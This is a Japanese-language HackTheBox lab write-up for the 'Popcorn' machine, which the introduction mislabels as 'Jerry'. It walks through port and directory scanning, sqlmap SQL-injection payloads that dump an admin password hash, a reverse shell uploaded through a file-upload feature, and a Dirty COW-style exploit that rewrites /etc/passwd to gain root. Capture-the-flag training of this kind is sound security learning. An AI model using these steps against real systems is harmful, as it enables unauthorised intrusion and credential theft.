はじめに
こんにちは!今回はHackTheBoxよりJerryのWriteupを紹介したいと思います!
マシン概要
名前 :Popcorn
レベル :Medium
コミュニティレベル :Medium
OS :Linux
ポートスキャン
nmapを使用してポートスキャンを行います!
sudo nmap -sV -sC -p- -Pn -n -vvv --open 10.129.205.118 -oN ports.txt
# Nmap 7.99 scan initiated Mon Apr 27 13:12:07 2026 as: /usr/lib/nmap/nmap -sV -sC -p- -Pn -n -vvv --open -oN ports.txt 10.129.205.118
Nmap scan report for 10.129.205.118
Host is up, received user-set (0.23s latency).
Scanned at 2026-04-27 13:12:07 JST for 89s
Not shown: 65143 closed tcp ports (reset), 390 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAIAn8zzHM1eVS/OaLgV6dgOKaT+kyvjU0pMUqZJ3AgvyOrxHa2m+ydNk8cixF9lP3Z8gLwquTxJDuNJ05xnz9/DzZClqfNfiqrZRACYXsquSAab512kkl+X6CexJYcDVK4qyuXRSEgp4OFY956Aa3CCL7TfZxn+N57WrsBoTEb9PAAAAFQDMosEYukWOzwL00PlxxLC+lBadWQAAAIAhp9/JSROW1jeMX4hCS6Q/M8D1UJYyat9aXoHKg8612mSo/OH8Ht9ULA2vrt06lxoC3O8/1pVD8oztKdJgfQlWW5fLujQajJ+nGVrwGvCRkNjcI0Sfu5zKow+mOG4irtAmAXwPoO5IQJmP0WOgkr+3x8nWazHymoQlCUPBMlDPvgAAAIBmZAfIvcEQmRo8Ef1RaM8vW6FHXFtKFKFWkSJ42XTl3opaSsLaJrgvpimA+wc4bZbrFc4YGsPc+kZbvXN3iPUvQqEldak3yUZRRL3hkF3g3iWjmkpMG/fxNgyJhyDy5tkNRthJWWZoSzxS7sJyPCn6HzYvZ+lKxPNODL+TROLkmQ==
| 2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyBXr3xI9cjrxMH2+DB7lZ6ctfgrek3xenkLLv2vJhQQpQ2ZfBrvkXLsSjQHHwgEbNyNUL+M1OmPFaUPTKiPVP9co0DEzq0RAC+/T4shxnYmxtACC0hqRVQ1HpE4AVjSagfFAmqUvyvSdbGvOeX7WC00SZWPgavL6pVq0qdRm3H22zIVw/Ty9SKxXGmN0qOBq6Lqs2FG8A14fJS9F8GcN9Q7CVGuSIO+UUH53KDOI+vzZqrFbvfz5dwClD19ybduWo95sdUUq/ECtoZ3zuFb6ROI5JJGNWFb6NqfTxAM43+ffZfY28AjB1QntYkezb1Bs04k8FYxb5H7JwhWewoe8xQ==
80/tcp open http syn-ack ttl 63 Apache httpd 2.2.12
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Did not follow redirect to http://popcorn.htb/
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
80ポートが空いているのでブラウザーにIPアドレスを入力しました!

ドメイン名が表示されたので/etc/hostsに入力しましょう!
10.129.205.118 popcorn.htb
http://popcorn.htbをアドレス欄に入力するとウェブサイトが表示されました!

ここからはまずディレクトリの探索からはじめてみます!
ディレクトリ列挙
gobusterを使用します!
使用するコマンドは以下です!Seclistsのcommon.txtを最初に使用するのが好きですが、もし気になるディレクトリが見つからない場合はseclistsのraft-medium-words.txtを使用することもあります!
今回はcommon.txtのみで大丈夫です!
gobuster dir -u http://popcorn.htb -w /opt/seclists/Discovery/Web-Content/common.txt -t 80
gobuster dir -u http://popcorn.htb -w /opt/seclists/Discovery/Web-Content/common.txt -t 80
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://popcorn.htb
[+] Method: GET
[+] Threads: 80
[+] Wordlist: /opt/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess (Status: 403) [Size: 288]
.htpasswd (Status: 403) [Size: 288]
.hta (Status: 403) [Size: 283]
cgi-bin/ (Status: 403) [Size: 287]
index (Status: 200) [Size: 177]
index.html (Status: 200) [Size: 177]
test (Status: 200) [Size: 47365]
torrent (Status: 301) [Size: 312] [--> http://popcorn.htb/torrent/]
Progress: 4749 / 4750 (99.98%)[ERROR] error on word server-status: timeout occurred during the request
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================
testが気になるのでまずはtestディレクトリにアクセスしてみます!

ここではPHPに関する情報を見ることができるようです!
バージョン情報から悪用できる脆弱性は特に見つからず!
このサイトでは特に面白いものはなさそうでした!
もう一つ、torrentディレクトリが存在するようなのでそちらを見てみましょう!

明らかにここから悪用していく必要がありそうですね!
Torrent Hosterについて調べたところ、Torrentファイルをアップロードすることで他者とファイルをシェアできるようにするクラウドストレージサービスのようです!
SQLインジェクション
※SQLインジェクションを試行した過程を長々と書いてますが結果的には攻略に繋がっていません
飛ばしたい方はこちらへ!
ログイン情報を入力する箇所があるので、まず適当な資格情報をいれてみました!
admin:admin
admin:passwd
root:root
torrent:torrent
しかしどれも有効ではなかったです!そこで試しにSQLインジェクションを疑いUsernameとPasswordにシングルクウォートを入力しました!
すると...

エラーが表示されました!調べたところUsernameにSQLインジェクションの脆弱性が存在するようです!
これを悪用して有益な情報を引き出せるか試してみます!
SQLMAP
今回はSQLMAPというSQLインジェクション用のツールを使用してデータベースの情報をひきだすことにします!
①適当なユーザー名とパスワードを入力しリクエストを送信する
②そのリクエストをBurpsuiteで確認する
③リクエストをコピーして、それをファイル(今回はreq.txt)にいれる
そしてリクエストを格納したファイルを使い以下のコマンドでデータベースを列挙します!
sqlmap -r req.txt --dbs
sqlmap identified the following injection point(s) with a total of 928 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=anu' AND 2387=2387 AND 'Scxy'='Scxy&password=anu
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: username=anu' AND EXTRACTVALUE(5753,CONCAT(0x5c,0x716b786b71,(SELECT (ELT(5753=5753,1))),0x7171767071)) AND 'ujHU'='ujHU&password=anu
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=anu' AND (SELECT 5001 FROM (SELECT(SLEEP(5)))GUZv) AND 'RRUx'='RRUx&password=anu
---
[17:16:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 9.10 (Karmic Koala)
web application technology: PHP 5.2.10, Apache 2.2.12
back-end DBMS: MySQL >= 5.1
[17:16:12] [INFO] fetching database names
[17:16:12] [INFO] retrieved: 'information_schema'
[17:16:13] [INFO] retrieved: 'torrenthoster'
available databases [2]:
[*] information_schema
[*] torrenthoster
[17:16:13] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/popcorn.htb
2つのデータベースを列挙できました!今回はtorrenthosterが気になるのでそちらでテーブルを列挙します!
sqlmap -r req.txt -D torrenthoster --tables
Database: torrenthoster
[8 tables]
+---------------+
| log |
| ban |
| categories |
| comments |
| namemap |
| news |
| subcategories |
| users |
+---------------+
8個のテーブルを列挙できました!
usersテーブルから資格情報を盗めないかやってみましょう!
Database: torrenthoster
Table: users
[2 entries]
+----+----------------------+---------------------+----------------------------------+----------+-----------+---------------------+
| id | email | joined | password | userName | privilege | lastconnect |
+----+----------------------+---------------------+----------------------------------+----------+-----------+---------------------+
| 3 | admin@yourdomain.com | 2007-01-06 21:12:46 | d5bfedcee289e5e05b86daad8ee3e2e2 | Admin | admin | 2007-01-06 21:12:46 |
Adminのハッシュ値を発見しました!
しかし、こちらは結果としてはクラックすることができませんでした!
そのためこのパスワードを利用することができず、SQLインジェクションからのアプローチは駄目でした!
次のアプローチで考えてみます!
ファイルアップロード
ホーム画面に戻り、Sign upからアカウントを作成できそうなのでそこからログインしてみます!
そして作成したアカウントでログインします!
Uploadという項目が気になるのでアクセスします!
どうやらここでファイルをアップロードできるようです!
試しに公式サイトから入手したKali Linuxのtorrentファイルをアップロードします!
アップロードが出来ました!
スクリーンショットを変更できる機能があるので、そこからリバースシェルをアップロードしましょう!
アップロード出来ました!
リバースシェルを受けるためのリスナーを起動します!
rlwrap nc -lvnp 80
リスナーを起動できたら、Image FIle Not Found!を押します!

rlwrap nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.205.118] 48936
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
12:14:55 up 5:05, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: no job control in this shell
www-data@popcorn:/$
見事、シェルをゲット出来ました!
/home/georgeにてuser.txtを見つけました!
www-data@popcorn:/home/george$ cat user.txt
ce408301fc0d24de35a138e1216dc90b
カーネルのバージョンを見てみます!
www-data@popcorn:/$ uname -a
uname -a
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
2.6.31と古いバージョンのようです!
こちらで脆弱性を調べると以下が使えそうです!
こちらを使って権限昇格をしていきましょう!
www-data@popcorn:/dev/shm$ ./dirty
./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: test
Complete line:
toor:tonpIEgbIHtuE:0:0:pwned:/root:/bin/bash
mmap: b78b4000
この状態でtoorユーザーが作成されました!
リバースシェルをもう一度とり、toorユーザーに変わりましょう!
www-data@popcorn:/dev/shm$ su toor
su toor
Password: test
toor@popcorn:/dev/shm#
管理者ユーザーになりました!/rootに行きましょう!
toor@popcorn:~# cat root.txt
cat root.txt
1b7f1f63b428625dfdc70a964f91d1c4






